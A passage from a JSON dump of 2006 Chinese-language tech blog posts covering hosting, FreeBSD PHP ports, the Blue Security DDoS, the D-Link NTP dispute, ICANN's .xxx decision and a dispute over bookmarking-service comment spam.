    "body": "只貼 link 不說話 (經濟部智慧財產局商標資料檢索服務)：<a href=\"http://203.69.69.28/TIPO_DR/servlet/InitLogoPictureWordDetail?sKeyNO=095000881\">203.69.69.28/TIPO_DR/servlet/InitLogoPictureWordDetail?sKeyNO=095000881</a>。",
    "title": "「好人卡」"
  },
  {
    "id": "559",
    "body": "在 <a href=\"http://shakalaca.wordpress.com/\" rel=\"tag\">shakalaca</a> 那邊看到 SkypeSMS 的消息：<a href=\"http://shakalaca.wordpress.com/2006/05/04/skype-25-beta/\">Skype 2.5 beta</a>。看了費率，發現台灣的簡訊是全世界最低的？<a href=\"http://www.skype.com/products/skypesms/rates/index.html?currency=TWD\">SMS rates to all destinations</a>。",
    "title": "SkypeSMS"
  },
  {
    "id": "560",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a>：<a href=\"http://science.slashdot.org/article.pl?sid=06/05/04/1227216\">U.S. Considers Anti-Satellite Laser</a>。(<a href=\"http://www.nytimes.com/\" rel=\"tag\">NYTimes</a>：<a href=\"http://www.nytimes.com/2006/05/03/washington/03laser.html?_r=1&oref=slogin\">Administration Researches Laser Weapon</a>)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/140391787/\"><img src=\"http://static.flickr.com/45/140391787_91ab318e0f.jpg\" alt=\"\" /></a>\r\n\r\n把對方的衛星打下來？打歐盟的 GPS 衛星吧 :p",
    "title": "雷射砲"
  },
  {
    "id": "561",
    "body": "據說搜尋「陳有蘭溪」會出現這個：(小圖可能不清楚，點進去看原大小的圖比較清楚)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/140630399/\"><img src=\"http://static.flickr.com/52/140630399_21f69eb3c6.jpg\" alt=\"\" /></a>",
    "title": "用 Yahoo! 搜尋「陳有蘭溪」"
  },
  {
    "id": "562",
    "body": "有些朋友問我們 (blog.ijliao.info、hlb.yichi.org、blog.gslin.org、...) 到底搬到哪裡，也想要從 <a href=\"http://www.dreamhost.com/rewards.cgi?hasname\" rel=\"tag\">DreamHost</a> 換出來，不過前陣子不想回，所以只有在 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 那邊的 comment 有提到：<a href=\"http://www.server4sale.com/\" rel=\"tag\">Server4Sale</a>。\r\n\r\n<a href=\"http://www.server4sale.com/\" rel=\"tag\">Server4Sale</a> 是 Reseller，幫好幾家做，在網路上的評價還不錯。我們這次買到 <a href=\"http://www.layeredtech.com/\" rel=\"tag\">Layered Technologies</a> 的 server 目前用起來也很愉快，拿到機器時是 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 5.4-RELEASE，過沒幾天就升級到 5.5-PRERELEASE，而且裝了五百個 packages... (被 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 看到後就被罵 XD)\r\n\r\n上面目前跑了一卡車的服務，包括最標準的 FAMP：<a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> + <a href=\"http://www.apache.org/\" rel=\"tag\">Apache</a> + <a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a> + <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a>，以及 <a href=\"http://www.isc.org/sw/bind/\" rel=\"tag\">BIND</a> (DNS Server)、<a href=\"http://www.isc.org/sw/inn/\" rel=\"tag\">INN</a> (沒錯，就是轉信那個 <a href=\"http://www.isc.org/sw/inn/\" rel=\"tag\">INN</a>)、<a href=\"http://www.postfix.org/\" rel=\"tag\">Postfix</a> (Mail Server)、<a href=\"http://www.squid-cache.org/\" rel=\"tag\">Squid</a> (沒錯，Proxy Server)... 有長輩還說要架 VPN 上去 XD\r\n\r\n速度方面可以看 smokeping：<a href=\"http://smokeping.hasname.com/\" rel=\"tag\">smokeping.hasname.com</a>，本來 <a href=\"http://www.hinet.net/\" rel=\"tag\">HiNet</a> 過去大約要 220ms，這幾天也降到 180ms 左右：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/140670958/\"><img src=\"http://static.flickr.com/53/140670958_08bf9feeb0.jpg\" alt=\"\" /></a>\r\n\r\n技術服務方面倒是很迅速，像是送 Ticket 要求 Reset，很快就會被轉到 Data Center，大約一個小時內會搞定。\r\n\r\n不過其他的部分就怪怪的 XD 像這三天發生一件鳥事情：我們覺得 <a href=\"http://www.server4sale.com/\" rel=\"tag\">Server4Sale</a> 不錯，想要續約，所以星期二就送了一個 Ticket 問看看有沒有年繳的 discount，過了幾分鐘，線上值班的客服就回「我們會轉給 billing 部門請他們回答」，結果今天星期五了，還沒有答案 o_O\r\n\r\n喂喂... 這樣的話我乾脆跳到 <a href=\"http://www.layeredtech.com/\" rel=\"tag\">Layered Technologies</a> 算了...",
    "title": "Hosting..."
  },
  {
    "id": "563",
    "body": "剛剛發現 <a href=\"http://tw.yahoo.com/\" rel=\"tag\">Yahoo! Kimo</a> 的字典有 AJAX？不知道是什麼時候加上去的，以前沒發現...\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/140814854/\"><img src=\"http://static.flickr.com/52/140814854_17138235f2.jpg\" alt=\"\" /></a>",
    "title": "Yahoo! Kimo 的字典"
  },
  {
    "id": "564",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到的：<a href=\"http://digg.com/programming/Simple_Optimization_for_PHP_and_MySQL\">Simple Optimization for PHP and MySQL</a>，原文在 <a href=\"http://www.dublish.com/articles/10.html\">Simple Optimization for PHP and MySQL</a> 這裡，其實都是一些習慣問題積少成多。\r\n\r\n<a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a> 的部分在 <a href=\"http://www.oreilly.com/\" rel=\"tag\">O'Reilly</a> 的 <a href=\"http://highperformancemysql.com/\" rel=\"tag\">High Performance MySQL</a> 裡都有講到。<a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 的部分有些是經驗，倒是可以看一看...",
    "title": "一些改進 PHP 與 MySQL 效率的技巧"
  },
  {
    "id": "565",
    "body": "當 <a href=\"http://www.bluesecurity.com/\" rel=\"tag\">BlueSecurity</a> 遭受 DDoS 攻擊後，他們的解法是把 <a href=\"http://www.bluesecurity.com/\" rel=\"tag\">www.bluesecurity.com</a> 指到 <a href=\"http://bluesecurity.blogs.com/\" rel=\"tag\">bluesecurity.blogs.com</a> (<a href=\"http://www.typepad.com/\" rel=\"tag\">TypePad</a>)：<a href=\"http://news.netcraft.com/archives/2006/05/03/ddos_on_blue_security_blog_knocks_typepad_livejournal_offline.html\">DDoS on Blue Security Blog Knocks Typepad, LiveJournal Offline</a>。\r\n\r\n<strong>Update</strong>：在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上的 <a href=\"http://it.slashdot.org/article.pl?sid=06/05/08/142229\" rel=\"tag\">What Happened to Blue Security</a> 這篇看到他們把完整的說明放在網頁上：<a href=\"http://www.bluesecurity.com/announcements/pm_attack_timeline.asp\">Timeline of PharmaMaster Attacks on www.bluesecurity.com</a>。\r\n\r\n<strong>Update</strong>：剛好發現 <a href=\"http://www.typepad.com/\" rel=\"tag\">www.typepad.com</a> 有些動作，不是 routing 換了就是 IP address 換了：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/143023402/\"><img src=\"http://static.flickr.com/45/143023402_37d7b990fc.jpg\" alt=\"\" /></a>",
    "title": "BlueSecurity 會不會太搞笑..."
  },
  {
    "id": "566",
    "body": "一年前有個傢伙弄了一個站台，有無限多的頁面 (每個頁面都有一些 link 連到其他頁面)，打算研究 Search Engine Bot 的行為，他弄完以後就把消息丟出來，讓一些 PageRank 高的站台 link 過去 (這樣 Search Engine 才會努力抓？)，不過後來大家都忘記了 XD\r\n\r\n一年過去了，剛剛在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到他把結果分析出來了：<a href=\"http://digg.com/technology/Search_bots_behavior_analyzed_\">Search bots behavior analyzed</a>。包括了 Google bot、Yahoo bot、MSN bot：<a href=\"http://drunkmenworkhere.org/219\">On Bots</a>。\r\n\r\n如果你不喜歡看敘述的話，圖很漂亮，可以去看看 XD",
    "title": "Search Engine Bot 分析"
  },
  {
    "id": "567",
    "body": "<a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> <a href=\"http://www.freebsd.org/ports/\" rel=\"tag\">ports</a> 的 PHP 一直都有一個很嚴重的問題：沒有辦法生出同時支援 <a href=\"http://www.fastcgi.com/\" rel=\"tag\">FastCGI</a> 與 apache module 的 PHP 版本。\r\n\r\n這個問題終於在前幾天解決了：\r\n<blockquote>\r\n20060506:\r\nAFFECTS: users of PHP\r\nAUTHOR: ale@FreeBSD.org\r\n\r\nThe old PHP slave ports (phpN-cli, phpN-cgi and mod_phpN) were removed in favour of unified PHP ports that allow building any combination of PHP SAPIs (cli, cgi and apache module).  The PHP CGI binary was renamed to php-cgi, so you should update the path in your script. To simplify the update process, *only* for this release a 'php' compatibility symlink to php-cgi will be created if you don't select the CLI SAPI.  Before the upgrade you *should* run 'make config' in lang/php4 or lang/php5 to configure the SAPIs you want to install.  As a consequence the default binary packages include the CLI and the FastCGI SAPIs.\r\n</blockquote>\r\n先用 <code>make config</code> 重新設定，再用 <code>portupgrade -f</code> 更新，這樣應該沒什麼大問題...。",
    "title": "FreeBSD 下的 PHP"
  },
  {
    "id": "568",
    "body": "剛剛 Dedicated Hosting 連外網路似乎怪怪的，這點可以在 <a href=\"http://smokeping.hasname.com/\" rel=\"tag\">smokeping.hasname.com</a> 上面發現：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/142856368/\"><img src=\"http://static.flickr.com/49/142856368_f42d291402.jpg\" alt=\"\" /></a>\r\n\r\n不過同時間我發現從 TANet 連外的 MSN 也斷了，而且 <a href=\"http://smokeping.hasname.com/\" rel=\"tag\">smokeping.hasname.com</a> 上偵測學校的部分：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/142858719/\"><img src=\"http://static.flickr.com/45/142858719_948f375c23.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/142858946/\"><img src=\"http://static.flickr.com/54/142858946_802a5a91bc.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/142859185/\"><img src=\"http://static.flickr.com/49/142859185_8254f163fe.jpg\" alt=\"\" /></a>\r\n\r\n可以看出來線路還是怪怪的，<strong>我猜測</strong> 是因為北美某個重要節點出問題，各 ISP 調整 routing 避開，而 TANet 動作最慢。(聽起來蠻合理的？)\r\n\r\n<strong>Update</strong>：<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 好像也受到影響：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/143023565/\"><img src=\"http://static.flickr.com/45/143023565_b9655c7d45.jpg\" alt=\"\" /></a>",
    "title": "斷線"
  },
  {
    "id": "569",
    "body": "<a href=\"http://www.netcraft.com/\" rel=\"tag\">Netcraft</a> 報導了這個月的 Web Server 的佔有率改變的現象：<a href=\"http://news.netcraft.com/archives/2006/05/09/may_2006_web_server_survey.html\">May 2006 Web Server Survey</a>。\r\n\r\n關於 <a href=\"http://www.godaddy.com/\" rel=\"tag\">Godaddy</a> 惡搞的前情題要部分請參考 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 這篇 <a href=\"http://blog.ijliao.info/archives/2006/04/18/2224/\">OpenSourceParking</a>，有比較完整的說明。簡單來說就是 <a href=\"http://www.godaddy.com/\" rel=\"tag\">Godaddy</a> 把所有 Hosting 都從 <a href=\"http://www.apache.org/\" rel=\"tag\">Apache</a> 換成 Windows 2003 Server，造成 <a href=\"http://www.netcraft.com/\" rel=\"tag\">Netcraft</a> 上統計出來的數字大地震，造成 <a href=\"http://www.apache.org/\" rel=\"tag\">Apache</a> 佔有率下滑 5.7%。\r\n\r\n而這個月，<a href=\"http://www.netcraft.com/\" rel=\"tag\">Netcraft</a> 修正了 Redirect 的問題，使得本來會被認為 \"Other\" 的 Web Server 能夠正確判斷出來，使得 <a href=\"http://www.apache.org/\" rel=\"tag\">Apache</a> 又回升 2%：\r\n<blockquote>This month 1.7 million hostnames at Go Daddy that were classified as \"Other\" in April are recognized as Apache sites running on Linux. Large blocks of Apache sites at Go Daddy have shifted back and forth between Apache and Other since January , due to changes in its bulk hosting service. It uses a front-end system that generates an HTTP redirect with no Server header when a site is first accessed - only once the redirect is followed, or if the site is accessed a second time, does it identify Apache as the server.\r\n\r\nThe latest shift helps Apache regain 2% market share after a drop of 5.7% last month, when Go Daddy shifted more than 4 million hostnames from Apache to Windows Server 2003. Apache's improvement this month has no effect on Go Daddy's continued hosting of parked domains on Windows Server 2003, which gains 143K hostnames at Go Daddy this month.</blockquote>\r\n不過這樣寫看不太懂啊，到底 <a href=\"http://www.godaddy.com/\" rel=\"tag\">Godaddy</a> 還有多少 <a href=\"http://www.apache.org/\" rel=\"tag\">Apache</a> 在跑？以及 <a href=\"http://www.godaddy.com/\" rel=\"tag\">Godaddy</a> 的 Policy...",
    "title": "Web Server 佔有率"
  },
  {
    "id": "570",
    "body": "在 <a href=\"http://nanocrew.net/\" rel=\"tag\">So sue me</a> 那邊看到的：<a href=\"http://nanocrew.net/2006/05/08/windows-live-messenger/\">Windows Live Messenger</a>。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/143370664/\"><img src=\"http://static.flickr.com/51/143370664_ad10d23f7c.jpg\" alt=\"\" /></a>\r\n\r\n這是怎樣 XD",
    "title": "Windows Live Messenger 安裝畫面"
  },
  {
    "id": "571",
    "body": "趁著還沒睡覺，還有一點精神的時候來寫這篇文章。\r\n\r\n這是我的立場：\r\n<ol>\r\n\t<li>我認為 Link 是合理使用，不論是不是商業應用。</li>\r\n\t<li>但我反對【智邦-style】網摘 Spam：注意！不是 Link 的部份，而是 Spam 的部份。</li>\r\n</ol>\r\n第一個部份，<a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a> 最早就是以人工在整理 Web Directory，量大了之後就改成寫程式用機器掃連結，而 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 則是一開始就以機器做這件事情。這兩家公司都利用 Search Engine 提供服務。而在國外也的確有判例認定 Link 是合理使用。\r\n\r\n所以，不論是在低標準的法律上，還是在高標準的道德上，【網摘】本身是沒有問題的。講明白一點，如果書籤網站使用的人本來就很多 (包括看的人與 Bookmark 的人)，那麼你 Link 我是帶動資訊的流通，本來就是好事。\r\n\r\n<div style=\"font-size: large;\"><del datetime=\"2006-05-13T04:08:38+00:00\">但智邦的 MyShare 成立沒多久以後</del> (Refer: <a href=\"http://blog.gslin.org/archives/2006/05/12/571/#comment-5153\">http://blog.gslin.org/archives/2006/05/12/571/#comment-5153</a>) 但智邦在開始做網摘服務後，就放縱網摘師在別人的 Comment 亂留言的行為。很明顯就是希望透過留言帶動 <del datetime=\"2006-05-13T04:08:38+00:00\">MyShare</del> 智邦網摘網站 的成長，換句話說就是假借網摘之名【發 Spam】。</div>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/144771599/\"><img src=\"http://static.flickr.com/47/144771599_2d1e887712.jpg\" alt=\"\" /></a>\r\n\r\n今年三月初的時候我就寫過這件事情，專門在講智邦網摘師的 Spam 行為：<a href=\"http://blog.gslin.org/archives/2006/03/01/421/\">Spam</a>，但當時文章裡面沒有講的很清楚我對於智邦不滿的是什麼，以及改進的方法，所以現在一併講清楚。\r\n\r\n對於【引用 Blog 上的文章】這件事情，書籤網站根本不應該做：你有看過那個人用 <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 連結後，跑過來靠邀兩句【我是某某某，我摘了你的文章，...】的嗎？你有看過 <a href=\"http://furl.net/\" rel=\"tag\">furl.net</a> 這樣幹過嗎？\r\n\r\n更何況，這些人還是這個網摘平台的公司找的？然後高呼【言論自由】(陳豐偉，<a href=\"http://www.eroach.net/modules/news/article.php?storyid=56\">[網路] : 我可以討厭你，卻不能喜歡你，真是豈有此理</a>) 以及【著作權合理使用】(陳豐偉，<a href=\"http://www.eroach.net/modules/news/article.php?storyid=58\">[網路] : 網摘是一種創作</a>)，掩飾雇人 Spam 的事情？\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/144768652/\"><img src=\"http://static.flickr.com/47/144768652_4daec9b445.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://pesty.yichi.org/\" rel=\"tag\">pesty</a> 用的比喻很精彩：\r\n<blockquote>我是美國人，我們現在把你們列為古老文明保存了哦，所以我們在你們古蹟上貼這個證明我們已經把你們列為古蹟的封條，如果你們不想被貼這封條，打上面的電話哦…\r\n\r\n然後，你打那電話去幹剿，他們會說，「喔！真的啊？其實99.99%被貼封條的人都因為觀光客增加而很高興呢，我真不瞭解你們有什麼好不高興的？」</blockquote>\r\n\r\n<div style=\"font-size: large;\">最後，我再重申一次，我並不反對【網摘】，不論是商業還是非商業用途。但我反對利用【網摘】之名行【廣告】之實，進而帶入流量使書籤平台壯大。</div>",
    "title": "智邦網摘師的 Spam 行為"
  },
  {
    "id": "572",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 這篇 <a href=\"http://hardware.slashdot.org/article.pl?sid=06/05/10/144209\">12.8 Petabytes, You Say?</a> 提到可以利用「灌水」(應該還有很多特殊的技術要用上去) 將硬碟的容量提高到 \"12-13 PB per cubic centimeter\" (每立方公分 12.8 PB)。我記得現在有在做的 (有生產線的) 3.5 吋硬碟裡，最大應該是單顆 750GB？\r\n\r\n這麼大的硬碟，不知道未來會有什麼應用催生出來 :P (<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 那種不算...)",
    "title": "高密度硬碟？"
  },
  {
    "id": "573",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到的消息：<a href=\"http://politics.slashdot.org/article.pl?sid=06/05/11/1236213\">ICANN Finally Rejects .xxx Domain</a> (被歸在政治類新聞，因為美國政府的干涉)，<a href=\"http://www.icann.org/\" rel=\"tag\">ICANN</a> 正式的公告在這：<a href=\"http://www.icann.org/announcements/announcement-10may06.htm\">ICANN Board Votes Against .XXX Sponsored Top Level Domain Agreement</a>。\r\n\r\n其實有蠻多人期待成立 .xxx 網域，主要是有幾個原因：\r\n<ul>\r\n\t<li>如果成立了，政府可以利用法律的力量強制 <strong>當地的</strong> 色情網站業者必須使用 .xxx 網域，而 K-12 的單位 (在台灣就是高中以下的學校) 就可以擋 .xxx。</li>\r\n\t<li>或許你會說「網路無國界」，跑到沒有立法的地方設立 .com 的網站就好。但你忽略了一件事情：頻寬的成本以及色情網站連線品質的考量。<br />色情網站很耗費頻寬，尤其是 Video 以及 Streaming 的部分，後者要求網路的品質更高。目前全球的網路的中心在北美，品質最好的點也在北美，色情網站如果要設立，機器通常都會放在北美，而必須服從當地法律。<br />這個方法不能做到 100% 防制，但這個方法如果有效實施，可以用很低的社會成本控制色情網站，這也就是為什麼上一條裡「當地的」會加重語氣。</li>\r\n</ul>\r\n結果 .xxx 網域最後沒有成立... <a href=\"http://www.theregister.co.uk/\" rel=\"tag\">The Register</a> 的報導說的好：(<a href=\"http://www.theregister.co.uk/2006/05/11/icann_kills_xxx/\">ICANN chokes off .xxx porn registry</a>)\r\n<blockquote>The reality is that ICANN has again been compromised by political pressures - pressures that both sides claim not to exist.</blockquote>",
    "title": "ICANN 否決 .xxx 網域"
  },
  {
    "id": "574",
    "body": "看到 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 的 CSS Redesign 資訊，點進去看發現兩件事情：\r\n<ul>\r\n\t<li>這年頭都沒人想用 Serif 當內文嗎？看起來很吃力耶 =_= (<strong>Update</strong>：<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">hlb</a> 說字小的時候 Sans-serif 應該比較容易讀，可是我... 我... 我...)</li>\r\n\t<li>字用這麼小是怎麼樣 =_=</li>\r\n</ul>\r\n這是 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 原來的 Screenshot：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/145072250/\"><img src=\"http://static.flickr.com/45/145072250_6554c53077.jpg\" alt=\"\" /></a>\r\n\r\n這兩張是參賽的作品：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/145072251/\"><img src=\"http://static.flickr.com/54/145072251_b8c9f2a62a.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/145072253/\"><img src=\"http://static.flickr.com/53/145072253_d3d182368b.jpg\" alt=\"\" /></a>\r\n\r\n三張圖的字都已經放大過一次 (在 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 裡按 Ctrl-+)，後面這兩張還是小小一個字，!@#$%^...",
    "title": "Slashdot CSS Redesign"
  },
  {
    "id": "575",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到 <a href=\"http://people.freebsd.org/~phk/\" rel=\"tag\">phk</a> 與 <a href=\"http://www.dlink.com/\" rel=\"tag\">D-Link</a> 達成共識，現有的 <a href=\"http://www.dlink.com/\" rel=\"tag\">D-Link</a> 產品有權利使用 <a href=\"http://people.freebsd.org/~phk/\" rel=\"tag\">phk</a> 在丹麥機房放的 NTP server，但未來出貨的產品將不會使用：<a href=\"http://yro.slashdot.org/article.pl?sid=06/05/11/1741223\">D-Link Settles Danish Time Dispute</a>。\r\n\r\n<a href=\"http://people.freebsd.org/~phk/\" rel=\"tag\">phk</a> 正式的公告在這：<a href=\"http://people.freebsd.org/~phk/dlink/\">people.freebsd.org/~phk/dlink/</a>。\r\n\r\n另外 <a href=\"http://www.theregister.co.uk/\" rel=\"tag\">The Register</a> 也說明了完整的處理方法，除了 <a href=\"http://people.freebsd.org/~phk/\" rel=\"tag\">phk</a> 在丹麥的 NTP server 外，<a href=\"http://www.dlink.com/\" rel=\"tag\">D-Link</a> 將聯絡全球受影響的 NTP server 進行補救：(<a href=\"http://www.theregister.co.uk/2006/05/11/d-link_time_dispute_settlement/\">D-Link settles dispute with 'time geek'</a>)\r\n<blockquote>D-Link is freeloading onto as many as 50 NTP time servers, critics claim. The US military, NASA and government groups worldwide are reportedly running NTP servers interrogated by D-Link kit.</blockquote>\r\n這件事雖然影響很大，但事後的補救的結果讓大家都還算滿意... 暫時告一段落。\r\n\r\n事情的始末可以參考我之前寫的 <a href=\"http://blog.gslin.org/archives/2006/04/14/531/\">NTP 與 DNS</a> 以及 <a href=\"http://blog.richliu.com/\" rel=\"tag\">richliu</a> 寫的 <a href=\"http://blog.richliu.com/2006/04/14/323/\">DLink 產品的DDOS攻擊行為.</a>。",
    "title": "D-Link NTP 事件暫時平息"
  },
  {
    "id": "576",
    "body": "<a href=\"http://www.ntua.edu.tw/\" rel=\"tag\">台灣藝術大學</a> 的網頁編碼用簡體中文 GB2312？\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/145095612/\"><img src=\"http://static.flickr.com/51/145095612_1e6f13832f.jpg\" alt=\"\" /></a>",
    "title": "台灣藝術大學的網頁"
  },
  {
    "id": "577",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到的：<a href=\"http://digg.com/software/Traceroute.V_-_an_HTML_traceroute_with_Google_Maps\">Traceroute.V - an HTML traceroute with Google Maps</a>。\r\n\r\n需要 Java，我沒裝，所以我只能看看 Screenshot :p\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/145149620/\"><img src=\"http://static.flickr.com/50/145149620_c7c8de6346_o.png\" alt=\"\" /></a>",
    "title": "Google Maps 與 traceroute 結合"
  },
  {
    "id": "578",
    "body": "趁著機器在升級的時候再寫一篇。先補充一下，我之前的文章提到的陳豐偉先生就是 Roach。\r\n\r\n看來文章寫太長就會失焦，在 <a href=\"http://blog.serv.idv.tw/2006/05/13/442/\">網摘的禮貌跟Spam</a> 這篇文章裡面根本誤解我的意思，這跟「禮貌」沒關係，跟「金錢」也沒關係 (雖然很多人對此不滿)，真正的重點是 <strong>「通知」這件事情本來就不應該做！</strong>\r\n\r\n我的意思是：\r\n<ol>\r\n\t<li><strong>Bookmark 這件事情本來就不應該通知原站台</strong>：<a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 沒做、<a href=\"http://furl.net/\" rel=\"tag\">furl.net</a> 也沒做。<strong>Link 這件事情也不應該通知原站台</strong>，<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 沒做，<a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a> 沒做，<a href=\"http://www.ask.com/\" rel=\"tag\">Ask Jeeves</a> 沒做，<a href=\"http://search.msn.com/\" rel=\"tag\">MSN Search</a> 也沒做。<strong>做這種事情是要反向從原作者的平台帶入流量進入 Myshare，這是 Spam Behavior</strong>。</li>\r\n\t<li>雖然不應該做，但一般人的網摘會因為 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a>「<strong>自動化</strong>」的 Pingback 而產生反向連結，重點在「<strong>自動化</strong>」而不是「<strong>故意</strong>」，所以知道運作的人通常不會在意。<a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 的 Pingback 樣子通常是長得像下面這張圖，其中上半部是 Comment，下半部就是 Pingback：<br /><a href=\"http://www.flickr.com/photos/gslin/144784839/\"><img src=\"http://static.flickr.com/55/144784839_497976283a.jpg\" alt=\"\" /></a></li>\r\n\t<li>而智邦的「網摘師」完全不理會這件事情，用「<strong>手動</strong>」留言大量 Spam。</li>\r\n\t<li>最後，智邦的 Roach 根本不願意承認錯誤，另外還以「著作權法」、「公平交易法」混淆 Spam 這件事情。</li>\r\n</ol>\r\n所以我會說：\r\n<ul>\r\n\t<li>智邦是故意放任網摘師在 Blog 上留 Comment，進而反向導入流量，以「Bookmark」之名行「Spam」之實，帶動網站的流量，將 MyShare 壯大。</li>\r\n</ul>\r\n最後，有人叫我在家裡擦神燈看看，趕快出來放話吧～",
    "title": "智邦網摘師的 Spam 行為 - 再說明"
  },
  {
    "id": "579",
    "body": "1994 年 <a href=\"http://www.cc.nctu.edu.tw/~ltc/\" rel=\"tag\">老人家</a> 的文章 (那時候還不老)，現在 2006 年了，但還是很值得看：\r\n<blockquote><pre>\r\n發信人: ltc@news.cc.nctu (center liu), 信區: Network\r\n標  題: 網路\"論文\"撰寫技巧(初級)\r\n發信站: National Chiao Tung University, Taiwan (Thu Sep  1 10:13:17 1994)\r\n轉信站: Maxwell!bbsroute!news.csie.nctu!news.cc.nctu!news!ltc\r\n\r\n　　　　　　　　網路\"論文\"撰寫技巧(初級)\r\n\r\n●斷章取義：一般為文不易達成目的，在電腦上於己有利的才放\r\n　　　　　　在同一頁上。充分利用電腦每頁２４行之特性。\r\n\r\n●視而不見：一般為文會被人恥笑，BBS、NEWS 的 PAGER 做的\r\n            都不好，於己不利的片斷正好利用這一套。\r\n\r\n●嘩眾取寵：REPLY 少的沒人看。\r\n\r\n●觸犯眾怒：生氣的人破綻多，才有利可乘。\r\n\r\n●標題要驚人：標題不驚人，內容沒人看。\r\n\r\n●一答一唱：一人演多角，才有戲劇效果。\r\n\r\n●合理夾帶無理：辯論賽上會扣分的技巧非用不可，論文撰寫\r\n　　　　　　　　可沒人打分數。\r\n\r\n●拉攏次要敵人，打擊主要敵人。\r\n\r\n●說人不敢說,打擊權威，群眾最愛廖添丁。\r\n\r\n\r\n　　　　交通大學計算機中心\r\n　　　　　　　劉大川\r\n</pre></blockquote>",
    "title": "[tw.bbs.comp.network] 網路\"論文\"撰寫技巧(初級)"
  },
  {
    "id": "580",
    "body": "喝！都快寫完了，結果不知道按到什麼就消失了，再寫一篇。據說寫第二次的時候思路會更清楚，就當作這樣吧。\r\n\r\n標題所指的「故意」，是指「故意放反向連結，導入流量使其壯大」。\r\n\r\n這篇本來是要回應 M 留言的後半段，後來覺得這篇要寫的東西太多，另外開一篇出來講，這篇就是 <a href=\"http://blog.gslin.org/archives/2006/05/13/579/#comment-5159\">M 的留言</a> 後半段：\r\n<blockquote>Roach也認為所謂的類似comment spam的東西錯了，\r\n就到個歉吧就結束了，反正甚麼都有人罵，\r\n而GSL你真的認為智邦是要流量才搞這個的嗎？</blockquote>\r\n是的，我認為智邦網摘師放 Comment Spam 是為了「壯大」(而「流量」只是目的)，當然當事人都會否認。而真正的答案除非找 <a href=\"http://en.wikipedia.org/wiki/Severus_Snape\" rel=\"tag\">Snape</a> 對 Roach &amp; amarylliss 施破心術，不然大概是沒有機會知道了。<a href=\"http://blog.gslin.org/archives/2006/05/13/578/#comment-5178\">Uma 的留言</a> 講得更清楚明白了：\r\n<blockquote>&gt; 想問的是，\r\n&gt; 智邦初期的通知與其是要通知作者，\r\n&gt; 但背後真的沒有要潛藏向作者的讀者廣告智邦友邦大家摘錄好文讀服務呢？\r\n\r\n依他們那群人厚臉皮的程度，我相信他們會告訴你「沒有」…</blockquote>\r\n\r\n另外，當事人完全沒有打算要認錯啊，他們仍然認為他們做的不是 Comment Spam。\r\n\r\n再加上 Roach 的回答完全依照「<a href=\"http://blog.gslin.org/archives/2006/05/13/579/\">網路論文撰寫技巧</a>」而寫，看不出討論的誠意在哪裡，像是 Roach 這篇 <a href=\"http://www.eroach.net/modules/news/article.php?storyid=62\">[網路] : 父子騎驢，怎麼吃都癢的網摘事業</a> 一開始以一個故事開頭：\r\n<blockquote>有個故事大家一定聽過，有一對父子騎驢進城，一開始，爸爸讓小孩騎驢。路人A說：「這小孩怎麼這樣，讓爸爸走路！」於是換爸爸騎驢，路人B又說，「這爸爸怎麼這樣，小孩年紀這麼小，讓他走路！」於是兩人一起騎驢，路人C又說：「這家人怎麼這樣虐待動物！」於是兩人下來走路，路人D又說：「這家人真是笨蛋，好好的驢不騎！」最後怎樣？父子決定把驢殺來吃掉比較乾脆。</blockquote>\r\n這個故事告訴我們「人不能沒有主見，應該自我思考」，而 Roach 